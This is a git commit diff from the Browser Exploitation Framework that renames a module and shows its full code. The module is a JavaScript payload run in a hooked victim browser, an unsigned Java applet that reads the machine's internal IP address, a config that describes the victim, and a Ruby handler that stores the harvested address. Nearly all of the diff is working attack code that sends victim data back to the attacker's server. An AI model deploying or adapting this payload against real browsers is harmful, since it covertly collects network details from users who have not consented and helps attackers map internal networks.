Rename get_internal_ip to get_internal_ip_java

This commit is contained in:
Brendan Coles
2019-03-24 22:55:49 +00:00
parent 0ed6c3866e
commit a103ca3f30
6 changed files with 17 additions and 17 deletions

View File

@@ -0,0 +1,35 @@
//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var applet_uri = beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/';
var internal_counter = 0;
var timeout = 30;
var output;
beef.dom.attachApplet('get_internal_ip', 'get_internal_ip', 'get_internal_ip' ,
applet_uri, null, null);
function waituntilok() {
try {
output = document.get_internal_ip.ip();
beef.net.send('<%= @command_url %>', <%= @command_id %>, output);
beef.dom.detachApplet('get_internal_ip');
return;
} catch (e) {
internal_counter++;
if (internal_counter > timeout) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Timeout after '+timeout+' seconds');
beef.dom.detachApplet('get_internal_ip');
return;
}
setTimeout(function() {waituntilok()},1000);
}
}
setTimeout(function() {waituntilok()},5000);
});

View File

@@ -0,0 +1,15 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
get_internal_ip_java:
enable: true
category: "Host"
name: "Get Internal IP (Java)"
description: "Retrieve the local network interface IP address of the victim machine using an unsigned Java applet.<br/><br/>The browser must have Java enabled and configured to allow execution of unsigned Java applets.<br/><br/>Note that modern Java (as of Java 7u51) will outright refuse to execute unsigned Java applets, and will also reject self-signed Java applets unless they're added to the exception list."
authors: ["antisnatchor"]
target:
user_notify: ["ALL"]

Binary file not shown.

View File

@@ -0,0 +1,55 @@
/*
* Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
* Browser Exploitation Framework (BeEF) - http://beefproject.com
* See the file 'doc/COPYING' for copying permission
*/
import java.applet.Applet;
import java.applet.AppletContext;
import java.net.InetAddress;
import java.net.Socket;
/* to compiled it in MacOSX SnowLeopard/Lion:
* javac -cp /System/Library/Frameworks/JavaVM.framework/Resources/Deploy.bundle/Contents/Resources/Java/plugin.jar get_internal_ip.java
* author: antisnatchor (adapted from Lars Kindermann applet)
*/
public class get_internal_ip extends Applet {
String Ip = "unknown";
String internalIp = "unknown";
String IpL = "unknown";
private String MyIP(boolean paramBoolean) {
Object obj = "unknown";
String str2 = getDocumentBase().getHost();
int i = 80;
if (getDocumentBase().getPort() != -1) i = getDocumentBase().getPort();
try {
String str1 = new Socket(str2, i).getLocalAddress().getHostAddress();
if (!str1.equals("255.255.255.255")) obj = str1;
} catch (SecurityException localSecurityException) {
obj = "FORBIDDEN";
} catch (Exception localException1) {
obj = "ERROR";
}
if (paramBoolean) try {
obj = new Socket(str2, i).getLocalAddress().getHostName();
} catch (Exception localException2) {
}
return (String) obj;
}
public void init() {
this.Ip = MyIP(false);
}
public String ip() {
return this.Ip;
}
public String internalIp() {
return this.internalIp;
}
public void start() {
}
}

View File

@@ -0,0 +1,41 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Get_internal_ip_java < BeEF::Core::Command
def pre_send
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/host/get_internal_ip_java/get_internal_ip.class', '/get_internal_ip', 'class')
end
#def self.options
# return [
# { 'name' => 'applet_name', 'description' => 'Applet Name', 'ui_label'=>'Number', 'value' =>'5551234','width' => '200px' },
# ]
#end
def post_execute
content = {}
content['Result'] = @datastore['result']
save content
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/get_internal_ip.class')
configuration = BeEF::Core::Configuration.instance
if configuration.get("beef.extension.network.enable") == true
session_id = @datastore['beefhook']
# save the network host
if @datastore['results'] =~ /^([\d\.]+)$/
ip = $1
if BeEF::Filters.is_valid_ip?(ip)
print_debug("Hooked browser has network interface #{ip}")
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => ip)
end
end
end
end
end